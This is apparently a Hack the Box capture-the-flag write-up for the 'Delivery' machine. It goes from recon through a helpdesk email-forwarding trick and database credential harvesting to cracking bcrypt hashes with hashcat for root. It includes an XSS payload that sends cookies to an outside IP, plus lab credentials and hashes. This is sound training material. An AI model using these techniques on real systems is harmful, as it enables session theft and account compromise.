Delivery

Writeup for Delivery from Hack the Box

Recon

nmap -sV -T4 -p- 10.10.10.222

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    nginx 1.14.2

From the website, there are two links:

• http://delivery.htb:8065/

• http://helpdesk.delivery.htb/

Add the following to the /etc/hosts file:

10.10.10.222    delivery.htb
10.10.10.222    helpdesk.delivery.htb

Note the information here:

We don't have a @delivery.htb account, so we won't be able to access the MatterMost server just yet.

helpdesk.delivery.htb

When submitting a ticket, the system is vulnerable to XSS.

1st Try: Cookie Stealing

<script> var i = new Image(); i.src = "http://10.10.14.16/log.php?q=" + escape(document.cookie); </script>

Unfortunately this doesn't work, anything with <script></script> is removed.

2nd Try: Look Closer

Note that after creating a ticket, it says:

"If you want to add more information... just email ..."

So does this email simply forward everything it receives to the ticket?

delivery.htb:8065

This is a MatterMost server. I went ahead and created an account with [e-mail] as the email address. This was previously not possible because

1. We needed a @delivery.htb email and

2. We needed email verification

The email does indeed forward everything to the ticket content:

By navigating to the link in the email, we can verify our account.

And we can log in to view some sensitive information:

Foothold

We can use the maildeliverer:Youve_G0t_Mail! credential combination to authenticate and obtain SSH access to the server.

User Flag

Right after we authenticate in, we are greeted by the user.txt flag.

Privesc

After a bit of exploring:

cat /opt/mattermost/config/config.json

Under the SqlSettings, the mmuser:Crack_The_MM_Admin_PW is used for the mysql database credentials. We can login to the 'local' MariaDB server:

mysql -u mmuser -p (-u USERNAME -p, then enter the password when prompted)

MariaDB

SHOW DATABASES;

Use the mattermost database: USE mattermost;

Dump mattermost.Users table: SELECT * FROM Users;

I copied this into a text file.

Compile the password hashes into a users.hash file:

$2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK
$2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
$2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq
$2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm

Remember the message in the MatterMost channel earlier? Most of these passwords should be variations of "PleaseSubscribe!"

We were also hinted to use hashcat rules.

Result of Googling: https://www.4armed.com/blog/hashcat-rule-based-attack/

Rules file: cp /usr/share/hashcat/rules/best64.rule rules

Running hashcat on my host MacOS: hashcat -m 3200 users.hash wordlist -r rules (since hashcat requires a GPU)

Show cracked hash: hashcat -m 3200 users.hash --show

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21

Cross-checking with the users.hash file, the root password is PleaseSubscribe!21.

Root Flag

From the maildeliverer bash shell: su, then use the PleaseSubscribe!21 password.